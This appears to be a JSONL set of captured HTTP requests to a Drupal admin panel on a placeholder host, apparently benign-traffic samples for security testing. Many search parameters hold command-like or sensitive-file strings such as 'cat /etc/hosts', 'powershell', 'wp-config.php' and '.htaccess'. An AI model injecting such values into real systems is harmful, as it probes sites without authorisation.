{"method": "GET", "target": "/admin/people?user=hello%20world&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=hello%20world&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media?name=hello%20world&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/block?info=hello%20world&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=hello%20world&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=python3&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people?user=python3&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=python3&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media?name=python3&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/block?info=python3&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=python3&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=powershell&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people?user=powershell&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=powershell&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media?name=powershell&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/block?info=powershell&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=powershell&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=ls%20-la&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people?user=ls%20-la&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=ls%20-la&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media?name=ls%20-la&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/block?info=ls%20-la&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=ls%20-la&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=.htaccess&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people?user=.htaccess&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=.htaccess&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media?name=.htaccess&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/block?info=.htaccess&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=.htaccess&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=wp-config.php&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people?user=wp-config.php&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=wp-config.php&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
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{"method": "GET", "target": "/admin/content/block?info=wp-config.php&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=wp-config.php&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=docker-compose.yml&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
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{"method": "GET", "target": "/admin/content/files?filename=docker-compose.yml&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
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{"method": "GET", "target": "/admin/content/comment?subject=docker-compose.yml&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
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{"method": "GET", "target": "/admin/content/comment?subject=cat%20%2Fetc%2Fhosts&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
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{"method": "GET", "target": "/admin/content/media?name=SELECT%20rows%20FROM%20table&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/block?info=SELECT%20rows%20FROM%20table&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=SELECT%20rows%20FROM%20table&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
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{"method": "GET", "target": "/node/1/revisions", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/python3-notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/edit?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/delete?destination=/admin/content", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
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{"method": "GET", "target": "/taxonomy/term/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
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{"method": "GET", "target": "/admin/content?title=python3+tutorial&type=All&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/logout", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/logout/confirm", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/logout/confirm", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/logout/confirm", "Cookie: SESSexample=example-session-value"], "body": "confirm=1&form_build_id=form-wNgbewUygC9ULMoc4WLVpiOljzg8b-UFbevQU1lKKvE&form_token=PQZYrhskFDg3-YXEJlI1LMqcsi5g2Caq1winJy1aiTc&form_id=user_logout_confirm&op=Log+out"}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "name=admin&pass=example-password-1&form_build_id=form-PFgoUZSU-B2s6Yi6wsv6gMF8hyctFZ4jGpnB1KbbKuc&form_id=user_login_form&op=Log+in"}
{"method": "POST", "target": "/admin/modules", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": "text=&form_build_id=form-Go6Ty-vaNH5prRcXZPri8UInSJEfkCpFomJ5z7FIJeA&form_token=dpSXO0ij0wI2RSPBdwAf24WP27sJX5XdMsyNckiHRYQ&form_id=system_modules&op=Install"}
{"method": "POST", "target": "/admin/config/services/jsonapi", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": "read_only=rw&form_build_id=form-kZj8LFAOUYdKbamTIGwQWGeUPyZ9Pl_o7NMqCuQgRNA&form_token=U9cEhbE1Jq8CgS_JsoF1uTGkum0lp1R9dR05PQpXVIk&form_id=jsonapi_settings&op=Save+configuration"}
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/comment", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dcomment%3Alocation%3Dpage%26name%3Dcomment%26display_id%3Dpage_published%26langcode%3Den&tokens%5B%5D=tJYB9Yp9K7KoqCw51MrweOw1EWlIhkKnWWiqWfZwOBk"}
{"method": "POST", "target": "/admin/structure/menu/parents", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/admin/structure/types/manage/article", "Cookie: SESSexample=example-session-value"], "body": "menus%5B%5D=main"}
{"method": "POST", "target": "/admin/structure/views/view/content/preview/page_1?_wrapper_format=drupal_ajax", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": "live_preview=1&view_args=&form_build_id=form-YRTiLLJme3R_EAzYjDmEPFge7ba8Rqcr0e4ufPocUHA&form_token=aoWE2rnl7MeEF8CixG6jr69agDcL4EYtVBLeif_2MmI&form_id=view_preview_form&_triggering_element_name=op&_triggering_element_value=Update+preview&_drupal_ajax=1&ajax_page_state%5Btheme%5D=claro&ajax_page_state%5Btheme_token%5D=9R7R5tkIUlJUOLq74Y2Ibs3Vzk97sOkPnSer_Xb74Kk&ajax_page_state%5Blibraries%5D=eJxVjlEKgzAQBS9kkiOVF13CtuuuJBurPX1LbRH_hmF4vMzltvBCKf9gGAXVUhHLkNB8F9YyjKZOm3dImmpfIPE04VM82ieplEabF1NSb1GxcoGzaQhuJhk15O5ueqS_HYzOK303Ln5iiJWIO7aLbw6ndlGOLDRVlMOq1RnCLxrOC-nEKNit-7AyPdutc_pDxDSzvgGedGns"}
